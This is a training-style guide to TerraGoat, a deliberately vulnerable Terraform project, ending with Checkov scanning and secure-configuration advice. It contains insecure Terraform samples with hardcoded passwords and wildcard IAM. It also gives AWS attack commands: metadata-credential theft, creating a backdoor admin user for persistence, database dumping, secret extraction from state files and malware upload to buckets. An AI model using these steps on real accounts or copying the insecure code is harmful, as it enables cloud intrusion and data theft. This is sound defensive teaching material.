Skip to content

TerraGoat

TerraGoat is an intentionally vulnerable Terraform Infrastructure-as-Code project designed to teach secure cloud infrastructure practices. It demonstrates common IaC vulnerabilities including hardcoded secrets, insecure S3 buckets, overpermissive IAM policies, unencrypted databases, and exposed credentials in state files.

Installation and Setup

Prerequisites

# Install Terraform
wget https://releases.hashicorp.com/terraform/1.5.0/terraform_1.5.0_linux_amd64.zip
unzip terraform_1.5.0_linux_amd64.zip
sudo mv terraform /usr/local/bin/

# Install AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

# Configure AWS credentials
aws configure

Clone and Deploy TerraGoat

# Clone the vulnerable Terraform project
git clone https://github.com/bridgecrewio/terragoat.git
cd terragoat

# Initialize Terraform
terraform init

# Plan deployment (shows what will be created)
terraform plan -out=tfplan

# Apply configuration (actually deploys to AWS)
terraform apply tfplan

# View deployed resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances

Local Testing with Docker

# Build Docker image
docker build -t terragoat .

# Run container
docker run -it -v ~/.aws:/root/.aws terragoat bash

# Inside container:
cd /terragoat
terraform init
terraform plan

Terraform File Analysis and Exploitation

Find Hardcoded Secrets in .tf Files

# Search for exposed secrets
grep -r "password\|secret\|key\|token\|access_key\|secret_key" *.tf

# Example vulnerable code:
# variable "db_password" {
#   default = "hardcoded_password123"
# }

# Find AWS credentials in code
grep -r "AKIA" *.tf  # AWS Access Key format
grep -r "aws_access_key_id\|aws_secret_access_key" *.tf

Extract Sensitive Variables

# View Terraform variable definitions
cat variables.tf

# Parse JSON to extract secrets
terraform show -json | jq '.values.root_module.resources[] | select(.type=="aws_db_instance") | .values.master_password'

# Check Terraform state file (contains all secrets!)
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_rds_cluster") | .instances[] | .attributes.master_password'

Terraform State File Exploitation

Access State File Secrets

# State file is stored locally by default
cat terraform.tfstate

# Parse specific values
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_rds_cluster")'

# Extract all passwords
cat terraform.tfstate | jq '.resources[].instances[].attributes | select(.password!=null) | .password'

# Extract API keys
cat terraform.tfstate | jq '.resources[].instances[].attributes | select(.api_key!=null) | .api_key'

# Extract AWS credentials
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_iam_access_key")'

Remote State File Access

# If using Terraform Cloud/Enterprise
# Check for exposed workspace URLs

# If using S3 backend
aws s3 ls s3://terraform-state-bucket/
aws s3 cp s3://terraform-state-bucket/terraform.tfstate .
cat terraform.tfstate | jq .

# List all S3 buckets
aws s3 ls

# Check bucket policies for public access
aws s3api get-bucket-policy --bucket terraform-state-bucket

Insecure S3 Bucket Configurations

Vulnerable Terraform Code

# Vulnerable: Public S3 bucket without encryption
resource "aws_s3_bucket" "vulnerable_bucket" {
  bucket = "super-secret-bucket-12345"
  acl    = "public-read"  # DANGEROUS!
}

# Vulnerable: No encryption
resource "aws_s3_bucket_server_side_encryption_configuration" "bad" {
  bucket = aws_s3_bucket.vulnerable_bucket.id
  # Encryption not configured!
}

# Vulnerable: Versioning enabled but not protected
resource "aws_s3_bucket_versioning" "vulnerable" {
  bucket = aws_s3_bucket.vulnerable_bucket.id

  versioning_configuration {
    status = "Enabled"
  }
  # MFA delete not required
}

Exploiting Insecure S3 Buckets

# List all accessible S3 buckets
aws s3 ls

# Download objects from vulnerable bucket
aws s3 cp s3://vulnerable-bucket/secret-file.txt ./
aws s3 sync s3://vulnerable-bucket/ ./bucket-contents/

# List bucket ACL
aws s3api get-bucket-acl --bucket vulnerable-bucket

# Get bucket policy
aws s3api get-bucket-policy --bucket vulnerable-bucket

# If public, download via HTTP
curl https://vulnerable-bucket.s3.amazonaws.com/sensitive-data.zip

# Upload malicious file to writable bucket
aws s3 cp malware.zip s3://vulnerable-bucket/uploads/

Overpermissive IAM Policies

Vulnerable IAM Policy in Terraform

# Vulnerable: Wildcard permissions
resource "aws_iam_role" "bad_role" {
  name = "overpermissive-role"
}

resource "aws_iam_role_policy" "bad_policy" {
  name   = "bad-policy"
  role   = aws_iam_role.bad_role.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect   = "Allow"
        Action   = "*"  # DANGER: All actions!
        Resource = "*"  # All resources!
      }
    ]
  })
}

# Vulnerable: EC2 instance can assume this role and has full access
resource "aws_iam_instance_profile" "bad_profile" {
  role = aws_iam_role.bad_role.name
}

Exploit Overpermissive IAM

# If you have EC2 instance with overpermissive role:
# From EC2 metadata:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# Extract credentials
export AWS_ACCESS_KEY_ID=<key>
export AWS_SECRET_ACCESS_KEY=<secret>

# Now you have full AWS access
aws iam list-users
aws ec2 describe-instances
aws rds describe-db-instances
aws s3 ls

# Create new admin user
aws iam create-user --user-name attacker
aws iam attach-user-policy --user-name attacker \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create access key for persistence
aws iam create-access-key --user-name attacker

Unencrypted RDS Databases

Vulnerable RDS Configuration

# Vulnerable: RDS without encryption
resource "aws_db_instance" "vulnerable_db" {
  allocated_storage    = 20
  engine              = "mysql"
  engine_version      = "8.0"
  instance_class      = "db.t2.micro"
  name                = "vulnerabledb"
  username            = "admin"
  password            = "password123"  # Hardcoded!
  storage_encrypted   = false  # NO ENCRYPTION!

  skip_final_snapshot = true
}

# Vulnerable: Public accessibility
resource "aws_db_instance" "public_db" {
  publicly_accessible = true  # Exposed to internet!
  # ... other config
}

Exploit Unencrypted RDS

# Find RDS endpoints
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Endpoint.Address,MasterUsername]'

# If publicly accessible, connect directly
mysql -h <rds-endpoint> -u admin -ppassword123

# Once connected, dump database
mysqldump -h <rds-endpoint> -u admin -ppassword123 --all-databases > dump.sql

# Query for sensitive data
SELECT * FROM users WHERE email LIKE 'admin%';
SELECT * FROM secrets;

EC2 Security Group Misconfigurations

Vulnerable Security Group

# Vulnerable: Allows all inbound traffic
resource "aws_security_group" "vulnerable_sg" {
  name = "vulnerable-sg"

  ingress {
    from_port   = 0
    to_port     = 65535
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]  # WORLD ACCESSIBLE!
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

# Vulnerable: SSH accessible from anywhere
resource "aws_security_group" "bad_ssh" {
  ingress {
    from_port   = 22
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]  # SSH from internet!
  }
}

Exploit Open Security Groups

# Find EC2 instances with overpermissive security groups
aws ec2 describe-security-groups \
  --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]]'

# Find instances using vulnerable security groups
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,SecurityGroups[].GroupId]'

# SSH into exposed instance
ssh -i key.pem ec2-user@<public-ip>

# Access web services on open ports
curl http://<public-ip>:8080
nmap -p- <public-ip>

Analyzing Terraform Plans

Extract Sensitive Data from Plan

# Generate plan JSON
terraform plan -out=tfplan
terraform show -json tfplan > plan.json

# Extract passwords
cat plan.json | jq '.resource_changes[] | select(.change.after.master_password!=null) | .change.after.master_password'

# Extract API keys
cat plan.json | jq '.resource_changes[] | select(.change.after.api_key!=null)'

# Find public resources
cat plan.json | jq '.resource_changes[] | select(.change.after.publicly_accessible==true)'

# Find unencrypted resources
cat plan.json | jq '.resource_changes[] | select(.change.after.storage_encrypted==false)'

Vulnerable Lambda Function Deployment

Vulnerable Lambda Terraform

# Vulnerable: Lambda environment variables contain secrets
resource "aws_lambda_function" "vulnerable_function" {
  filename = "lambda_function.zip"
  handler  = "index.handler"
  runtime  = "python3.9"
  role     = aws_iam_role.lambda_role.arn

  environment {
    variables = {
      DB_PASSWORD = "hardcoded_password"
      API_KEY     = "sk_live_secret_key_12345"
      SECRET      = "my_secret_value"
    }
  }
}

# Vulnerable: Overpermissive role for Lambda
resource "aws_iam_role_policy" "lambda_policy" {
  name   = "lambda-policy"
  role   = aws_iam_role.lambda_role.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect   = "Allow"
        Action   = "s3:*"
        Resource = "*"
      },
      {
        Effect   = "Allow"
        Action   = "iam:*"
        Resource = "*"
      }
    ]
  })
}

Extract Lambda Secrets

# Get Lambda function configuration
aws lambda get-function-configuration --function-name vulnerable-function

# Extract environment variables
aws lambda get-function-configuration --function-name vulnerable-function \
  --query 'Environment.Variables'

# Invoke function to test
aws lambda invoke --function-name vulnerable-function response.json
cat response.json

Scanning with Checkov

Install and Run Checkov

# Install Checkov (scans IaC for misconfigurations)
pip install checkov

# Scan Terraform files
checkov -d . --framework terraform

# Generate JSON report
checkov -d . --framework terraform --output json > report.json

# Scan specific file
checkov -f main.tf --framework terraform

# Check for specific vulnerability
checkov -d . --check CKV_AWS_19  # Encrypted RDS

Common Checkov Findings

# Public S3 buckets
CKV_AWS_20 - S3 bucket allows public READ access

# Unencrypted RDS
CKV_AWS_16 - RDS without encryption
CKV_AWS_17 - RDS publicly accessible

# EC2 security group issues
CKV_AWS_23 - Security group allows all traffic
CKV_AWS_24 - Security group allows all HTTPS traffic

# IAM overpermissive
CKV_AWS_40 - IAM policy allows full S3 access
CKV_AWS_108 - IAM policy has wildcard actions

Best Practices for Secure Terraform

Encrypt Sensitive Data

# Use AWS Secrets Manager instead of variables
data "aws_secretsmanager_secret_version" "db_password" {
  secret_id = aws_secretsmanager_secret.db_password.id
}

resource "aws_secretsmanager_secret" "db_password" {
  name = "prod/db/password"
}

# Use local_sensitive_file for sensitive files
resource "local_sensitive_file" "private_key" {
  filename = "${path.module}/private_key.pem"
  content  = tls_private_key.example.private_key_pem
}

Implement Least Privilege IAM

# Specific, limited permissions
resource "aws_iam_role_policy" "secure_policy" {
  name   = "least-privilege-policy"
  role   = aws_iam_role.app_role.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect = "Allow"
        Action = [
          "s3:GetObject",
          "s3:ListBucket"
        ]
        Resource = [
          aws_s3_bucket.app_bucket.arn,
          "${aws_s3_bucket.app_bucket.arn}/*"
        ]
      }
    ]
  })
}

Encrypt Everything

# RDS encryption
resource "aws_db_instance" "secure_db" {
  allocated_storage    = 20
  engine              = "mysql"
  instance_class      = "db.t3.micro"
  username            = "admin"
  password            = random_password.db_password.result
  storage_encrypted   = true
  kms_key_id         = aws_kms_key.rds_key.arn
  publicly_accessible = false
}

# S3 encryption
resource "aws_s3_bucket_server_side_encryption_configuration" "secure" {
  bucket = aws_s3_bucket.secure_bucket.id

  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm     = "aws:kms"
      kms_master_key_id = aws_kms_key.s3_key.arn
    }
  }
}

Testing Workflow

Reconnaissance

# 1. Find Terraform files
find . -name "*.tf" -type f

# 2. Analyze file structure
ls -la
cat main.tf
cat variables.tf
cat outputs.tf

# 3. Check for state files
find . -name "*.tfstate*"

# 4. Look for secrets
grep -r "password\|secret\|key\|token" .

Vulnerability Testing

# 1. Run Checkov
checkov -d . --framework terraform

# 2. Parse Terraform plan
terraform plan -json | jq

# 3. Check S3 buckets
aws s3 ls
aws s3api get-bucket-acl --bucket <bucket>

# 4. Check RDS instances
aws rds describe-db-instances

# 5. Check security groups
aws ec2 describe-security-groups

# 6. Check IAM policies
aws iam list-policies --scope Local

Common Vulnerabilities Summary

VulnerabilityRiskDetection
Hardcoded SecretsHighgrep password/secret
Public S3 BucketsHighaws s3api get-bucket-acl
Unencrypted RDSHighCheckov CKV_AWS_16
Overpermissive IAMHighCheckov CKV_AWS_108
Open Security GroupsHighaws ec2 describe-security-groups
Public RDSHighCheckov CKV_AWS_17
Lambda SecretsMediumaws lambda get-function-configuration
Missing EncryptionMediumCheckov various

Best Practices

  • Never commit Terraform state files to git
  • Use .gitignore for *.tfstate and .tfstate. files
  • Store secrets in AWS Secrets Manager, not code
  • Use remote state storage (S3 with encryption and versioning)
  • Enable MFA delete on state buckets
  • Run Checkov in CI/CD pipeline
  • Use environment variables for sensitive values
  • Implement least privilege IAM policies
  • Enable encryption on all data stores
  • Audit all infrastructure changes
  • Use variable validation
  • Document all resources and purposes

Resources


Last updated: 2026-03-30